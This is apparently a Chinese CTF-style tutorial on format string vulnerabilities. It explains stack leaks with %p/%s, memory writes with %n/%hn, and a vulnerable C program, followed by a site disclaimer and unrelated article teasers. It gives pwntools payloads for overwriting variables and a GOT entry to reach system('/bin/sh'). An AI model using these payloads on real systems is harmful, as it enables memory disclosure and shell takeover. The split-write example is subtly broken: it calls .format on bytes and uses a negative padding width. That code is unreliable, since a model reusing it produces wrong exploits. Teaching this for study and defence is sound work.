格式化字符串漏洞详解

一、漏洞原理

格式化字符串漏洞(Format String Vulnerability)是由于程序使用用户可控的输入作为格式化字符串参数(如 printfsprintf 等函数)时未正确过滤导致的漏洞。攻击者可通过构造特殊格式字符串实现以下操作:

  • 内存泄露:读取栈或堆中的敏感数据(如密码、密钥)。

  • 内存覆盖:向任意地址写入数据(如劫持控制流、覆盖函数指针)。

  • 程序崩溃:通过非法内存访问导致拒绝服务(DoS)。

关键机制

格式化函数(如 printf)根据格式指示符(如 %s%x%n)从栈中按顺序读取参数。

如果用户输入的格式字符串包含多余指示符,函数会从栈中读取非预期的数据。

%n 指示符可将已输出的字符数写入指定地址,实现内存写操作。

二、常见题型
  1. 信息泄露(Memory Leak)

    目标:读取栈或堆中的敏感数据(如 flag 或 libc 地址)。

    示例:printf(user_input) → 用户输入 %p%p%p... 泄露栈内容。

  2. 覆盖关键变量

    目标:修改程序逻辑(如绕过身份验证)。

    示例:通过 %n 覆盖全局变量 is_admin 的值为 1

  3. 控制流劫持

    目标:覆盖返回地址或函数指针(如 GOT 表项)。

    示例:通过 %n 将 exit() 的 GOT 表项覆盖为 shellcode 地址。

三、Payload 构造步骤
1. 确定偏移量

目标:找到用户输入的格式字符串在栈中的起始位置。

方法

输入 AAAA%p%p%p%p%p...,观察输出中 0x41414141AAAA 的十六进制)的位置。

确定偏移量 k(例如,第 7 个 %p 输出 0x41414141 → 偏移量 7)。

2. 信息泄露

泄露栈数据

payload = b"%7$p"  # 读取栈中第7个参数的值

泄露任意地址数据

payload = p32(target_addr) + b"%7$s"  # 将目标地址放在第7个参数位置,用 %s 读取其内容
3. 内存覆盖(使用 %n
  • 单次写入

    payload = p32(target_addr) + b"%100c%7$n"  # 向 target_addr 写入 100 + 4(地址长度)= 104
  • 分次写入(小端序)

    # 写入 0x12345678 到 target_addr(分两次用 %hn)
    payload = p32(target_addr) + p32(target_addr+2)
    payload += b"%{}c%7$hn%{}c%8$hn".format(0x5678-8, 0x1234-0x5678)
四、关键技巧
  1. 对齐与填充

    使用 %c 或 %<num>c 调整输出的字符数,控制 %n 写入的值。

    示例:%100c 输出 100 个字符。

  2. 短写入(%hn

            使用 %hn 写入 2 字节,避免大数值的填充(如 0xabcd → 每次写 2 字节)。

  3. 地址布局

                在 64 位系统中,地址可能包含 \x00,需避免被截断(可借助栈上的残留地址)。

五、实例解析
漏洞代码
#include <stdio.h>
int main() {
    char buffer[100];
    scanf("%s", buffer);
    printf(buffer); // 存在格式化字符串漏洞
    return 0;
}
攻击步骤
  1. 泄露栈数据

    Input: AAAA%p.%p.%p.%p.%p.%p.%p
    Output: AAAA0xffffd000.0x64.0xf7e8a000.0x41414141...
            发现 0x41414141 在第 7 个参数位置 → 偏移量 7
  2. 覆盖变量

    target_addr = 0x0804a024  # 假设是全局变量地址
    payload = p32(target_addr) + b"%2048c%7$n"  # 写入 2048 + 4 = 2052 (0x0804)
  3. 劫持 GOT 表

    泄露 printf 的 GOT 地址 → 计算 system 地址。

    覆盖 printf 的 GOT 表项为 system 地址,输入 ;/bin/sh 触发 shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/968441.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【嵌入式Linux应用开发基础】open函数与close函数

目录 一、open函数 1.1. 函数原型 1.2 参数说明 1.3 返回值 1.4. 示例代码 二、close函数 2.1. 函数原型 2.2. 示例代码 三、关键注意事项 3.1. 资源管理与泄漏防范 3.2. 错误处理的严谨性 3.3. 标志&#xff08;flags&#xff09;与权限&#xff08;mode&#xff…

LabVIEW国内外开发的区别

LabVIEW作为全球领先的图形化编程平台&#xff0c;在国内外工业测控领域均占据重要地位。本文从开发理念、技术生态、应用深度及自主可控性四个维度&#xff0c;对比分析国内外LabVIEW开发的差异&#xff0c;并结合国内实际应用场景&#xff0c;探讨其未来发展趋势。 ​ 一、开…

【大模型】阿里云百炼平台对接DeepSeek-R1大模型使用详解

目录 一、前言 二、DeepSeek简介 2.1 DeepSeek 是什么 2.2 DeepSeek R1特点 2.2.1 DeepSeek-R1创新点 2.3 DeepSeek R1应用场景 2.4 与其他大模型对比 三、阿里云百炼大平台介绍 3.1 阿里云百炼大平台是什么 3.2 阿里云百炼平台主要功能 3.2.1 应用场景 3.3 为什么选…

【DuodooBMS】给PDF附件加“受控”水印的完整Python实现

给PDF附件加“受控”水印的完整Python实现 功能需求 在实际工作中&#xff0c;许多文件需要添加水印以标识其状态&#xff0c;例如“受控”“机密”等。对于PDF文件&#xff0c;添加水印不仅可以增强文件的可识别性&#xff0c;还可以防止未经授权的使用。本代码的功能需求是…

linux的三剑客和进程处理

Linux三剑客&#xff1a; grep&#xff1a;查找 sed&#xff1a;编辑 awk&#xff1a;分析 grep - 正则表达式 [rootlocalhost ~]# grep ^a hello.txt abc grep - 忽略大小写&#xff0c;还有一些场景需要查询出来对应字符串所在的行号&#xff0c;方便我们快速在文件中定位字…

ASUS/华硕飞行堡垒9 FX506H FX706H 原厂Win10系统 工厂文件 带ASUS Recovery恢复

华硕工厂文件恢复系统 &#xff0c;安装结束后带隐藏分区&#xff0c;带一键恢复&#xff0c;以及机器所有的驱动和软件。 支持型号&#xff1a;FX506HC, FX506HE, FX506HM, FX706HC, FX706HE, FX706HM, FX506HHR, FX706HMB, FX706HEB, FX706HCB, FX506HMB, FX506HEB, FX506HC…

13.StringTable

String的基本特性 String&#xff1a;字符串&#xff0c;使用一对 ”” 引起来表示 String s1 "mogublog" ; // 字面量的定义方式String s2 new String("moxi"); string声明为final的&#xff0c;不可被继承String实现了Serializable接口&#xff1a;表…

JavaSE基本知识补充 -Map集合

目录 Map(key&#xff0c;value键值对呈现&#xff09; 1.1 Map的映射的特点 1. 2.HashMap &#xff08;键值对的业务偏多&#xff0c;而且hashmap在jdk1.7和1.8之间有所不同&#xff0c;性能做了提升&#xff0c;面试高频考点&#xff09; 1.3 Map接口的方法 方法 HashMap遍…

JAVA学习第二天

ArryList的构造方法和添加方法 01。构造方法的<>里面可以放数据类型 02. add&#xff08;&#xff09;可以直接在后面加入数据&#xff0c;也可以指定下标的插入元素。 ArrayList的常用方法 ArrayList存储对象 在Java中&#xff0c;System.out.println()可以打印基本数据…

基于窄带物联网的矿车追踪定位系统(论文+源码+实物)

1.功能设计 鉴于智能物联网的大趋势&#xff0c;本次基于窄带物联网的矿车追踪定位系统应具备以下功能&#xff1a; &#xff08;1&#xff09;实现实时定位&#xff0c;真正实现矿车随时随地定位; &#xff08;2&#xff09;定位精度高&#xff0c;采用该系统可以实现矿车在…

如何把邮件批量导出到本地

最近遇到邮箱满了的问题&#xff0c;需要把邮件批量导出到本地&#xff0c;然后清空邮箱。 问题是这个邮箱的官网&#xff0c;没有批量导出按钮&#xff0c;比较麻烦&#xff1b;总不能一封一封下载到本地&#xff0c;上万的。 找到了一个好用的工具&#xff0c;Mozilla Thun…

ICLR 2025 oral|用nuPlan + 200h物流小车数据集测试!SOTA扩散模型轨迹规划器来了

导读&#xff1a; 本文介绍了清华大学联合毫末智行、自动化所、港中文、上海交大、上海人工智能实验室最新研究成果《Diffusion-based Planning for Autonomous Driving with Flexible Guidance》——荣获ICLR 2025 Oral Presentation(仅1.8%接受率)。 该算法创新性地设计了基…

dify.ai 怎么配置链接火山引擎等云厂商的deepseek模型

要将 dify.ai 配置链接到火山引擎等云厂商的 DeepSeek 模型. 申请火山引擎的key&#xff0c;创建endpoint 添加模型 测试模型

SAP-ABAP:dialog界面中的数据块Event Block详解举例

在SAP的Dialog程序开发中&#xff0c;Event Block&#xff08;事件块&#xff09;是屏幕流逻辑&#xff08;Flow Logic&#xff09;中的关键部分&#xff0c;用于定义屏幕在特定事件触发时执行的逻辑。Event Block通常与ABAP模块&#xff08;Module&#xff09;结合使用&#x…

2025年怎么选择SEO发布工具

在如今竞争激烈的互联网时代&#xff0c;网站的流量和曝光率直接决定着一个品牌或企业的市场影响力。无论是个人博客&#xff0c;还是企业官网&#xff0c;能够有效提升SEO&#xff08;搜索引擎优化&#xff09;排名的工具&#xff0c;已成为许多网站管理者和营销人员的必备良器…

Java 进阶day14XML Dom4j 工厂模式 Base64

目录 知识点1、XML 概念XML约束 知识点2、XML解析 Dom4j&#xff08;Dom for java&#xff09;XPath 知识点3、工厂模式知识点4、Base64 知识点1、XML 概念 XML的全称为&#xff08;eXtensible Markup Language&#xff09;&#xff0c;是一种可扩展的标记语言。 XML的作用…

数据结构实验——排序算法的实现与分析

前言 到目前为止&#xff0c;8个数据结构实验在这里就全部更完啦&#xff08;撒花&#xff09;&#xff01;我那一段难忘的周二晚课时光也告一段落&#xff0c;整体来说&#xff0c;有赶课的折腾&#xff0c;有调错的崩溃&#xff0c;也有故意迟到五分钟的惬意&#xff0c;用G…

【Antv G2 5.x】饼图添加点击事件,获取当前坐标数据

// 监听 tooltip:show 事件this.chart.on(tooltip:show, (event) => {this.currentShowTooltipName = event.data.items[0].name})// 监听绘图区plot的点击事件this.chart.on(interval:click, ev => {this.$emit(chartClick, this.currentShowTooltipName);})// 监听绘图…

Oracle常用导元数据方法

1 说明 前两天领导发邮件要求导出O库一批表和索引的ddl语句做国产化测试&#xff0c;涉及6个系统&#xff0c;6千多张表&#xff0c;还好涉及的用户并不多&#xff0c;要不然很麻烦。 如此大费周折原因&#xff0c;是某国产库无法做元数据迁移。。。额&#xff0c;只能我手动导…

anolis os 8.9安装jenkins

一、系统版本 # cat /etc/anolis-release Anolis OS release 8.9 二、安装 # dnf install -y epel-release # wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo # rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.…